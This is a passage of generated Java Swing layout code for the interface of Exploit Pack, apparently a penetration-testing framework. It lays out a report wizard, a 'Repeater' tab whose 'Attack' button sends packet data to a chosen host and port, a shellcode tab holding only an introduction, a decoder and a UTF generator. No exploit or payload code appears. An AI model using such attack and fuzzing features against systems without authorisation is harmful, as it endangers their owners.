                    .addComponent(jLabel17)
                    .addComponent(jTextFieldPentestImage, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButton11))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        jPanel17.setBackground(java.awt.Color.white);
        jPanel17.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Recommendations ( Footer )"));

        jTextAreaPentestFooter.setColumns(20);
        jTextAreaPentestFooter.setLineWrap(true);
        jTextAreaPentestFooter.setRows(5);
        jScrollPane6.setViewportView(jTextAreaPentestFooter);

        javax.swing.GroupLayout jPanel17Layout = new javax.swing.GroupLayout(jPanel17);
        jPanel17.setLayout(jPanel17Layout);
        jPanel17Layout.setHorizontalGroup(
            jPanel17Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel17Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 497, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel17Layout.setVerticalGroup(
            jPanel17Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel17Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 481, Short.MAX_VALUE)
                .addContainerGap())
        );

        jPanel13.setBackground(java.awt.Color.white);
        jPanel13.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Custom finding: 1"));

        jComboBoxCustom1.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Low", "Normal", "Higher", "Critical" }));

        jLabel18.setText("Name:");

        jTextFieldCustom1.setText("vulnerability name..");

        jLabel19.setText("Risk level:");

        jLabel20.setText("Description:");

        jTextFieldCustomDesc1.setText("The webserver is prone to stack buffer overflow by abusing of CVE: 123");

        javax.swing.GroupLayout jPanel13Layout = new javax.swing.GroupLayout(jPanel13);
        jPanel13.setLayout(jPanel13Layout);
        jPanel13Layout.setHorizontalGroup(
            jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel13Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jLabel18)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jTextFieldCustom1, javax.swing.GroupLayout.PREFERRED_SIZE, 235, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel19)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jComboBoxCustom1, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel20)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jTextFieldCustomDesc1, javax.swing.GroupLayout.PREFERRED_SIZE, 1, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel13Layout.setVerticalGroup(
            jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel13Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jComboBoxCustom1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel18)
                    .addComponent(jTextFieldCustom1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel19)
                    .addComponent(jLabel20)
                    .addComponent(jTextFieldCustomDesc1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        jPanel23.setBackground(java.awt.Color.white);
        jPanel23.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Overview ( Header )"));

        jTextAreaPentestHeader.setColumns(20);
        jTextAreaPentestHeader.setLineWrap(true);
        jTextAreaPentestHeader.setRows(5);
        jScrollPane17.setViewportView(jTextAreaPentestHeader);

        javax.swing.GroupLayout jPanel23Layout = new javax.swing.GroupLayout(jPanel23);
        jPanel23.setLayout(jPanel23Layout);
        jPanel23Layout.setHorizontalGroup(
            jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel23Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane17)
                .addContainerGap())
        );
        jPanel23Layout.setVerticalGroup(
            jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel23Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane17)
                .addContainerGap())
        );

        jButton2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/buglittle.png"))); // NOI18N
        jButton2.setText("Generate");
        jButton2.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton2ActionPerformed(evt);
            }
        });

        jPanel25.setBackground(java.awt.Color.white);
        jPanel25.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Custom finding: 2"));

        jComboBoxCustom2.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Low", "Normal", "Higher", "Critical" }));

        jLabel24.setText("Name:");

        jTextFieldCustom2.setText("vulnerability name..");

        jLabel25.setText("Risk level:");

        jLabel26.setText("Description:");

        jTextFieldCustomDesc2.setText("The ftp server is prone to a heap based overflow by abusing of CVE: 123");

        javax.swing.GroupLayout jPanel25Layout = new javax.swing.GroupLayout(jPanel25);
        jPanel25.setLayout(jPanel25Layout);
        jPanel25Layout.setHorizontalGroup(
            jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel25Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jLabel24)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jTextFieldCustom2, javax.swing.GroupLayout.PREFERRED_SIZE, 235, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel25)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jComboBoxCustom2, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel26)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jTextFieldCustomDesc2, javax.swing.GroupLayout.PREFERRED_SIZE, 1, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel25Layout.setVerticalGroup(
            jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel25Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jComboBoxCustom2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel24)
                    .addComponent(jTextFieldCustom2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel25)
                    .addComponent(jLabel26)
                    .addComponent(jTextFieldCustomDesc2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        jLabel21.setText("DISCLAIMER: The data exposed in Exploit Pack is confidential and intended solely for the use of the individual or entity to whom they are addressed.");

        javax.swing.GroupLayout jPanel9Layout = new javax.swing.GroupLayout(jPanel9);
        jPanel9.setLayout(jPanel9Layout);
        jPanel9Layout.setHorizontalGroup(
            jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel9Layout.createSequentialGroup()
                .addGroup(jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jPanel11, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addGroup(jPanel9Layout.createSequentialGroup()
                        .addComponent(jPanel23, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jPanel17, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addComponent(jPanel13, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel9Layout.createSequentialGroup()
                        .addContainerGap()
                        .addComponent(jLabel21)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addComponent(jButton2))
                    .addComponent(jPanel25, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addContainerGap())
        );
        jPanel9Layout.setVerticalGroup(
            jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel9Layout.createSequentialGroup()
                .addGap(14, 14, 14)
                .addComponent(jPanel11, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jPanel17, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jPanel23, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel13, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel25, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(10, 10, 10)
                .addGroup(jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jButton2)
                    .addComponent(jLabel21)))
        );

        javax.swing.GroupLayout jPanel7Layout = new javax.swing.GroupLayout(jPanel7);
        jPanel7.setLayout(jPanel7Layout);
        jPanel7Layout.setHorizontalGroup(
            jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel9, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
        jPanel7Layout.setVerticalGroup(
            jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel7Layout.createSequentialGroup()
                .addComponent(jPanel9, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("Report Wizard", jPanel7);

        jPanel8.setBackground(java.awt.Color.white);

        jButton1.setText("Attack");
        jButton1.setEnabled(false);
        jButton1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton1ActionPerformed(evt);
            }
        });

        jTextAreaSocketFuzz.setBackground(java.awt.Color.black);
        jTextAreaSocketFuzz.setColumns(20);
        jTextAreaSocketFuzz.setForeground(java.awt.Color.green);
        jTextAreaSocketFuzz.setRows(5);
        jScrollPane12.setViewportView(jTextAreaSocketFuzz);

        jLabel12.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/target.png"))); // NOI18N
        jLabel12.setText("Hostname or IP Address:");

        jTextFieldSocketURL.setText("http://www.exploitpack.com");

        jLabel13.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/binary.png"))); // NOI18N
        jLabel13.setText("Packet data:");

        jTextFieldSocketData.setText("1234567890asdfghjkl");

        jLabel14.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/port.png"))); // NOI18N
        jLabel14.setText("Port:");

        jTextFieldSocketPort.setText("80");

        jCheckBoxSocketRandom.setText("Random data");
        jCheckBoxSocketRandom.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jCheckBoxSocketRandomActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel8Layout = new javax.swing.GroupLayout(jPanel8);
        jPanel8.setLayout(jPanel8Layout);
        jPanel8Layout.setHorizontalGroup(
            jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel8Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel8Layout.createSequentialGroup()
                        .addComponent(jLabel12)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextFieldSocketURL, javax.swing.GroupLayout.PREFERRED_SIZE, 237, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel14)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextFieldSocketPort, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addComponent(jLabel13)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextFieldSocketData, javax.swing.GroupLayout.PREFERRED_SIZE, 182, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jCheckBoxSocketRandom)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton1)
                        .addGap(12, 12, 12))
                    .addGroup(jPanel8Layout.createSequentialGroup()
                        .addComponent(jScrollPane12)
                        .addGap(10, 10, 10))))
        );
        jPanel8Layout.setVerticalGroup(
            jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel8Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jButton1)
                    .addComponent(jLabel12)
                    .addComponent(jTextFieldSocketURL, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel13)
                    .addComponent(jTextFieldSocketData, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel14)
                    .addComponent(jTextFieldSocketPort, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jCheckBoxSocketRandom))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane12, javax.swing.GroupLayout.DEFAULT_SIZE, 730, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("Repeater", jPanel8);

        jPanel4.setBackground(java.awt.Color.white);

        jTextAreaShellcodeList.setBackground(java.awt.Color.black);
        jTextAreaShellcodeList.setColumns(20);
        jTextAreaShellcodeList.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaShellcodeList.setForeground(java.awt.Color.green);
        jTextAreaShellcodeList.setRows(5);
        jTextAreaShellcodeList.setText("This is a quick cheat sheet that contains the most useful shellcodes to start coding and debugging your new exploit.\nYou can always submit your own by sending it to submit@exploitpack.com with subject: shellcodes.");
        jScrollPane7.setViewportView(jTextAreaShellcodeList);

        javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
        jPanel4.setLayout(jPanel4Layout);
        jPanel4Layout.setHorizontalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel4Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane7, javax.swing.GroupLayout.DEFAULT_SIZE, 1609, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel4Layout.setVerticalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane7, javax.swing.GroupLayout.DEFAULT_SIZE, 779, Short.MAX_VALUE)
        );

        jTabbedPane.addTab("Shellcodes", jPanel4);

        jPanel26.setBackground(java.awt.Color.white);

        jPanel27.setBackground(java.awt.Color.white);

        jPanel28.setBackground(java.awt.Color.white);
        jPanel28.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Encoder / Decoder"));

        jLabel27.setText("Message:");

        jTextFieldEncodeDecode.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldEncodeDecodeMouseClicked(evt);
            }
        });
        jTextFieldEncodeDecode.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jTextFieldEncodeDecodeActionPerformed(evt);
            }
        });

        jButton30.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_icon-116-lock-open_314389.png"))); // NOI18N
        jButton30.setText("Decode");
        jButton30.setEnabled(false);
        jButton30.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton30ActionPerformed(evt);
            }
        });

        jButton32.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_icon-114-lock_314692.png"))); // NOI18N
        jButton32.setText("Encode");
        jButton32.setEnabled(false);
        jButton32.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton32ActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel28Layout = new javax.swing.GroupLayout(jPanel28);
        jPanel28.setLayout(jPanel28Layout);
        jPanel28Layout.setHorizontalGroup(
            jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel28Layout.createSequentialGroup()
                .addGap(8, 8, 8)
                .addComponent(jLabel27)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jTextFieldEncodeDecode, javax.swing.GroupLayout.DEFAULT_SIZE, 1226, Short.MAX_VALUE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jButton30)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jButton32)
                .addContainerGap())
        );
        jPanel28Layout.setVerticalGroup(
            jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel28Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel28Layout.createSequentialGroup()
                        .addGroup(jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jLabel27)
                            .addComponent(jTextFieldEncodeDecode, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                        .addGap(0, 0, Short.MAX_VALUE))
                    .addGroup(jPanel28Layout.createSequentialGroup()
                        .addGap(2, 2, 2)
                        .addGroup(jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addComponent(jButton32, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                            .addComponent(jButton30, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))
                .addContainerGap())
        );

        jPanel31.setBackground(java.awt.Color.white);
        jPanel31.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Overview ( Header )"));

        jTextAreaEncodeDecodeResults.setBackground(new java.awt.Color(1, 1, 1));
        jTextAreaEncodeDecodeResults.setColumns(20);
        jTextAreaEncodeDecodeResults.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaEncodeDecodeResults.setForeground(java.awt.Color.green);
        jTextAreaEncodeDecodeResults.setLineWrap(true);
        jTextAreaEncodeDecodeResults.setRows(5);
        jTextAreaEncodeDecodeResults.setText("Now supporting the following encoders/decoders: ATOM-128, Base64, Megan-35, Tripo-5, GILA-7, Hazz-15, TIGO-3FX, Feron-74, Zong-22, ROT-13, Morse, Caesar10, Bin2Ascii, Encool, Reverse, Arabica, ESAB-46, Hex2ASCII.");
        jScrollPane19.setViewportView(jTextAreaEncodeDecodeResults);

        javax.swing.GroupLayout jPanel31Layout = new javax.swing.GroupLayout(jPanel31);
        jPanel31.setLayout(jPanel31Layout);
        jPanel31Layout.setHorizontalGroup(
            jPanel31Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel31Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane19)
                .addContainerGap())
        );
        jPanel31Layout.setVerticalGroup(
            jPanel31Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel31Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane19, javax.swing.GroupLayout.DEFAULT_SIZE, 651, Short.MAX_VALUE)
                .addContainerGap())
        );

        javax.swing.GroupLayout jPanel27Layout = new javax.swing.GroupLayout(jPanel27);
        jPanel27.setLayout(jPanel27Layout);
        jPanel27Layout.setHorizontalGroup(
            jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel27Layout.createSequentialGroup()
                .addGroup(jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addComponent(jPanel31, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jPanel28, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addContainerGap())
        );
        jPanel27Layout.setVerticalGroup(
            jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel27Layout.createSequentialGroup()
                .addGap(14, 14, 14)
                .addComponent(jPanel28, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel31, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        javax.swing.GroupLayout jPanel26Layout = new javax.swing.GroupLayout(jPanel26);
        jPanel26.setLayout(jPanel26Layout);
        jPanel26Layout.setHorizontalGroup(
            jPanel26Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel27, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
        jPanel26Layout.setVerticalGroup(
            jPanel26Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel26Layout.createSequentialGroup()
                .addComponent(jPanel27, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("Decoder", jPanel26);

        jPanel29.setBackground(java.awt.Color.white);

        jPanel30.setBackground(java.awt.Color.white);

        jPanel34.setBackground(java.awt.Color.white);
        jPanel34.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "UTF-Locator"));

        jLabel32.setText("Message to include:");

        jTextFieldUTF.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldUTFMouseClicked(evt);
            }
        });
        jTextFieldUTF.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jTextFieldUTFActionPerformed(evt);
            }
        });

        jButton37.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/menucode.png"))); // NOI18N
        jButton37.setText("Create UTF");
        jButton37.setEnabled(false);
        jButton37.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton37ActionPerformed(evt);
            }
        });

        jLabel34.setText("Amount to create:");

        jTextFieldUTFAmount.setText("10000");

        javax.swing.GroupLayout jPanel34Layout = new javax.swing.GroupLayout(jPanel34);
        jPanel34.setLayout(jPanel34Layout);
        jPanel34Layout.setHorizontalGroup(
            jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel34Layout.createSequentialGroup()
                .addGap(8, 8, 8)
                .addComponent(jLabel32, javax.swing.GroupLayout.PREFERRED_SIZE, 119, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jTextFieldUTF, javax.swing.GroupLayout.DEFAULT_SIZE, 934, Short.MAX_VALUE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jLabel34)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jTextFieldUTFAmount, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jButton37, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap())
        );
        jPanel34Layout.setVerticalGroup(
            jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel34Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel34Layout.createSequentialGroup()
                        .addGroup(jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jLabel32)
                            .addComponent(jTextFieldUTF, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jLabel34))
                        .addGap(0, 0, Short.MAX_VALUE))
                    .addGroup(jPanel34Layout.createSequentialGroup()
                        .addGap(2, 2, 2)
                        .addGroup(jPanel34Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jButton37, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
